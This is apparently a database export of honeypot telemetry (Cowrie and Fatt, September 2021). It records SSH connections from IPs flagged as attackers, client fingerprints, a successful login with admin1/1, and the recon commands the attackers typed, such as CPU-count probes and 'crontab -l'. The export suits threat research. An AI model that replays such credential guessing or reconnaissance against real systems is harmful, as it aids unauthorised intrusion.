34375	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:30.620457+03	2021-09-20 15:15:01.814145+03	{"_id": "gwYUA3wBvYTbRNuEQFWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "81.70.175.230", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.2749791145324707, "duplicate": true, "timestamp": "2021-09-20T12:00:30.620457Z", "@timestamp": "2021-09-20T12:00:30.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34376	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:30.991409+03	2021-09-20 15:15:01.816146+03	{"_id": "hgYUA3wBvYTbRNuEQFWt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:30.991409Z", "@timestamp": "2021-09-20T12:00:30.991Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34377	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:31.432204+03	2021-09-20 15:15:01.817145+03	{"_id": "jAYUA3wBvYTbRNuERFWV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "150.109.115.128", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.44191503524780273, "duplicate": true, "timestamp": "2021-09-20T12:00:31.432204Z", "@timestamp": "2021-09-20T12:00:31.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34378	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 15:00:32.245325+03	2021-09-20 15:15:01.818146+03	{"_id": "kQYUA3wBvYTbRNuERFWW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.126.106.88:48616 (192.168.176.2:22) [session: c43d6b62f87c]", "session": "c43d6b62f87c", "@version": "1", "protocol": "ssh", "src_port": 48616, "dest_port": 22, "timestamp": "2021-09-20T12:00:32.245325Z", "@timestamp": "2021-09-20T12:00:32.245Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34379	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 15:00:32.248258+03	2021-09-20 15:15:01.819145+03	{"_id": "kgYUA3wBvYTbRNuERFWW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c43d6b62f87c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:00:32.248258Z", "@timestamp": "2021-09-20T12:00:32.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34385	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:26.364662+03	2021-09-20 15:15:01.826146+03	{"_id": "WgYUA3wBvYTbRNuEMVUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:26.364662Z", "@timestamp": "2021-09-20T12:00:26.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34380	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:00:22.04972+03	2021-09-20 15:15:01.820145+03	{"_id": "NgYUA3wBvYTbRNuEH1Wq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "150.109.115.128", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59262, "timestamp": "2021-09-20T12:00:22.049720", "@timestamp": "2021-09-20T12:00:22.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34381	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:22.985325+03	2021-09-20 15:15:01.821145+03	{"_id": "OQYUA3wBvYTbRNuEIVVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 22, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "81.70.175.230", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5426537990570068, "duplicate": true, "timestamp": "2021-09-20T12:00:22.985325Z", "@timestamp": "2021-09-20T12:00:22.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34382	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:23.8765+03	2021-09-20 15:15:01.822145+03	{"_id": "RAYUA3wBvYTbRNuEJVVO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0d7a3ca251c6", "@version": "1", "timestamp": "2021-09-20T12:00:23.876500Z", "@timestamp": "2021-09-20T12:00:23.876Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	HK
34383	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:25.087126+03	2021-09-20 15:15:01.824145+03	{"_id": "TwYUA3wBvYTbRNuEKVU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "81.70.175.230", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5420792102813721, "duplicate": true, "timestamp": "2021-09-20T12:00:25.087126Z", "@timestamp": "2021-09-20T12:00:25.087Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34384	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:25.508482+03	2021-09-20 15:15:01.825145+03	{"_id": "UAYUA3wBvYTbRNuELVUf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:25.508482Z", "@timestamp": "2021-09-20T12:00:25.508Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34386	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:27.204609+03	2021-09-20 15:15:01.827146+03	{"_id": "WQYUA3wBvYTbRNuEMVUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:27.204609Z", "@timestamp": "2021-09-20T12:00:27.204Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34387	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:26.875264+03	2021-09-20 15:15:01.828144+03	{"_id": "XAYUA3wBvYTbRNuEMVUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "150.109.115.128", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.5107295513153076, "duplicate": true, "timestamp": "2021-09-20T12:00:26.875264Z", "@timestamp": "2021-09-20T12:00:26.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34388	150.109.115.128	109.199.241.180	Fatt	2021-09-20 15:00:22.264203+03	2021-09-20 15:15:01.830146+03	{"_id": "NwYUA3wBvYTbRNuEH1Wq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59262, "dest_port": 22, "timestamp": "2021-09-20T12:00:22.264203", "@timestamp": "2021-09-20T12:00:22.264Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	HK
34389	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:22.442755+03	2021-09-20 15:15:01.831145+03	{"_id": "OAYUA3wBvYTbRNuEIVVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:22.442755Z", "@timestamp": "2021-09-20T12:00:22.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34390	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:22.443299+03	2021-09-20 15:15:01.832145+03	{"_id": "OwYUA3wBvYTbRNuEIVVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:22.443299Z", "@timestamp": "2021-09-20T12:00:22.443Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34391	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:23.239566+03	2021-09-20 15:15:01.833145+03	{"_id": "OgYUA3wBvYTbRNuEIVVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.login.success", "message": "login attempt [admin1/1] succeeded", "session": "f9096abafc92", "@version": "1", "password": "1", "username": "admin1", "timestamp": "2021-09-20T12:00:23.239566Z", "@timestamp": "2021-09-20T12:00:23.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	HK
34392	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:00:23.66592+03	2021-09-20 15:15:01.834145+03	{"_id": "PQYUA3wBvYTbRNuEI1WT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "150.109.115.128", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59438, "timestamp": "2021-09-20T12:00:23.665920", "@timestamp": "2021-09-20T12:00:23.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34393	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:23.660993+03	2021-09-20 15:15:01.836145+03	{"_id": "SAYUA3wBvYTbRNuEJVVO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 150.109.115.128:59438 (192.168.176.2:22) [session: 0d7a3ca251c6]", "session": "0d7a3ca251c6", "@version": "1", "protocol": "ssh", "src_port": 59438, "dest_port": 22, "timestamp": "2021-09-20T12:00:23.660993Z", "@timestamp": "2021-09-20T12:00:23.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 